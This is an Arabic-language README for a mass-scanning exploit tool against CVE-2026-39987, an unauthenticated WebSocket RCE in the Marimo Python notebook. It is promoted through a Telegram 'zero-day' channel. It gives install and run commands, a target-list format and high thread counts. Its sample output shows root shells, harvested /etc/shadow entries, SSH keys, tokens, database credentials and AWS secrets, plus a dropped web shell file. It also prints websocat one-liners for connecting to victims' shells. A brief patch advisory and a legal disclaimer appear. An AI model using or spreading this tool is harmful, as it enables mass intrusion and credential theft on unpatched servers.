
marimo هو دفتر ملاحظات Python تفاعلي. قبل الإصدار 0.23.0، يحتوي Marimo على ثغرة RCE قبل المصادقة.
marimo هو دفتر ملاحظات Python تفاعلي. قبل الإصدار 0.23.0، يحتوي Marimo على ثغرة RCE قبل المصادقة
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — RCE قبل المصادقة عبر WebSocket غير مصادق
المؤلف: Nxploited · Telegram: @KNxploited
📢 انضم إلى قناة Telegram للحصول على أحدث الثغرات والاستغلالات المجانية:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 هو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة تؤثر على Marimo، وهي منصة دفاتر ملاحظات Python تفاعلية مفتوحة المصدر.
نقطة نهاية WebSocket الطرفية /terminal/ws تفتقر تماماً إلى التحقق من المصادقة، مما يسمح لأي مهاجم بعيد غير مصادق بالحصول على قشرة PTY كاملة وتنفيذ أوامر نظام عشوائية بصلاحيات العملية الجارية — غالباً root داخل عمليات النشر المعتمدة على الحاويات.
على عكس نقاط نهاية WebSocket الأخرى مثل /ws، التي تستدعي بشكل صحيح validate_auth() قبل قبول الاتصالات، تتحقق نقطة النهاية /terminal/ws فقط من وضع التشغيل وتوافق المنصة، متجاوزةً المصادقة بالكامل.
✅ تم إصلاحه في:
marimo >= 0.23.0❌ جميع الإصدارات السابقة لـ0.23.0معرضة للخطر
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
يتحقق معالج /terminal/ws فقط من:
لا يتحقق أبداً من رموز الجلسة أو ملفات تعريف الارتباط أو أي شكل من أشكال الهوية — مما يجعل كل مثيل Marimo مكشوفاً قشرةً مباشرة.
.py.env · wp-config.php · مفاتيح SSH الخاصة · /etc/shadowPython 3.10 or higher
تثبيت التبعيات:
pip install websockets rich requests urllib3
أو باستخدام ملف المتطلبات:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
أنشئ ملفاً باسم targets.txt مع هدف واحد في كل سطر.
تقبل الأداة جميع التنسيقات:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
التنسيقات المدعومة: IP مباشر · IP:منفذ · نطاق · نطاق:منفذ ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
نطاق الخيوط: 1–300. الموصى به: 50–150 حسب شبكتك.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
nx_output/
│
├── summary.txt ← Master summary of all targets
├── curls.txt ← websocat one-liners for all shells
├── Nx.txt ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/ ← Per-target directory
├── summary.txt ← Target summary & connect command
├── identity.txt ← id · whoami · uname · hostname · shell
├── users.txt ← /etc/passwd · shadow · sudoers · last
├── ssh_keys.txt ← Discovered SSH private keys & auth keys
├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env
├── env_sensitive.txt ← Filtered sensitive environment variables
├── databases.txt ← MySQL · Redis · PostgreSQL · config files
├── app_configs.txt ← .env · wp-config.php · settings.py · etc
├── notebooks.txt ← Full content of all Marimo notebooks
├── marimo_toml.txt ← .marimo.toml configuration files
├── marimo_tokens.txt ← All extracted Marimo auth tokens
├── dotenv.txt ← .env / .env.local / .env.production
├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks
├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs
├── network.txt ← Interfaces · routes · open ports · iptables
├── processes.txt ← ps aux · crontab · cron.d · systemd units
├── logs.txt ← auth.log · syslog · access.log · error.log
├── nx_file.txt ← Nx drop path · web root · HTTP URL
└── software.txt ← PHP · Python · Node.js versions
بمجرد تحديد هدف معرض للخطر، اتصل يدوياً باستخدام websocat:
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
قيمة ترويسة
Authorizationغير ذات صلة — تقبل نقطة النهاية أي رمز أو عدم وجوده.
إذا كنت تشغّل Marimo في بيئة إنتاج أو بيئة مكشوفة:
marimo >= 0.23.0127.0.0.1 فقط — لا تعرّضه مباشرة للإنترنت أبداً/terminal/wsتُقدَّم هذه الأداة لأغراض تعليمية بحتة، واختبار الاختراق المصرح به، والبحث الأمني المشروع.
يجب أن تحصل على إذن كتابي صريح من مالك النظام قبل تشغيل هذه الأداة ضد أي هدف. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن لاختبارها غير قانوني وقد يؤدي إلى ملاحقة قانونية مدنية و/أو جنائية بموجب قوانين جرائم الكمبيوتر المعمول بها، بما في ذلك على سبيل المثال لا الحصر قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA)، وقانون إساءة استخدام الكمبيوتر، وتوجيهات الاتحاد الأوروبي المتعلقة بجرائم الإنترنت، والتشريعات المكافئة في ولايتك القضائية.
لا يتحمل المؤلف أي مسؤولية عن أي ضرر أو فقدان بيانات أو عواقب قانونية ناتجة عن إساءة استخدام هذه الأداة.
استخدمها بمسؤولية. اخترق بأخلاقية.
| الخاصية | القيمة |
|---|
| CVE ID | CVE-2026-39987 |
| البرنامج المتأثر | marimo < 0.23.0 |
| فئة الثغرة | RCE قبل المصادقة عبر WebSocket غير مصادق |
| نقطة النهاية المتأثرة | /terminal/ws |
| متجه الهجوم | الشبكة |
| المصادقة المطلوبة | ❌ لا شيء |
| تفاعل المستخدم | ❌ لا شيء |
| الخطورة | 🔴 حرجة |
| التأثير | قشرة PTY كاملة · تنفيذ أوامر عشوائية |
| الإصدار المُصحَّح | marimo 0.23.0 |
| الأيقونة | المستوى | الوصف |
|---|
✦✦✦ 🟢 | ROOT | uid=0 — وصول جذر كامل |
✦✦ 🟡 | PRIV | عضو في sudo · wheel · docker · disk · adm |
✦ 🔵 | SHELL | وصول قشرة بدون صلاحيات |
✗ 🔴 | FAIL | رفض الاتصال · انتهاء المهلة · خطأ HTTP |
| البيئة | اكتشاف تلقائي | جمع متخصص |
|---|
| 🟣 Marimo | ✅ | الدفاتر · الرموز · DuckDB · .marimo.toml · نقاط التحميل |
| 🔵 cPanel / WHM | ✅ | userdomains · كلمة مرور MySQL · قائمة مستخدمي WHM |
| 🟠 Plesk | ✅ | psa.shadow · الاستضافات الافتراضية · بيانات اعتماد مسؤول MySQL |
| 🌐 Apache | ✅ | الاستضافات الافتراضية · sites-enabled · سجلات الوصول/الأخطاء |
| 🟢 Nginx | ✅ | كتل الخادم · conf.d · سجلات الوصول/الأخطاء |
| 🐍 تطبيق Python | ✅ | .env · settings.py · config.py · Pipfile |
| 🟡 Node.js | ✅ | .env · package.json · الدليل العام |
| 🐳 Docker | ✅ | نقاط تحميل Bind · اكتشاف التخزين المحلي للحاوية |
| ⚙️ عام | ✅ | حزمة تعداد كاملة على البيئات غير المعروفة |
| الاسم الحركي | Nxploited |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
| القناة | Nxploited ZeroDay Hub |
"كلما أصبحت أكثر هدوءاً، كلما تمكنت من سماع المزيد."
⭐ إذا كانت هذه الأداة مفيدة، امنح نجمة وانضم إلى القناة لمزيد من الثغرات! ⭐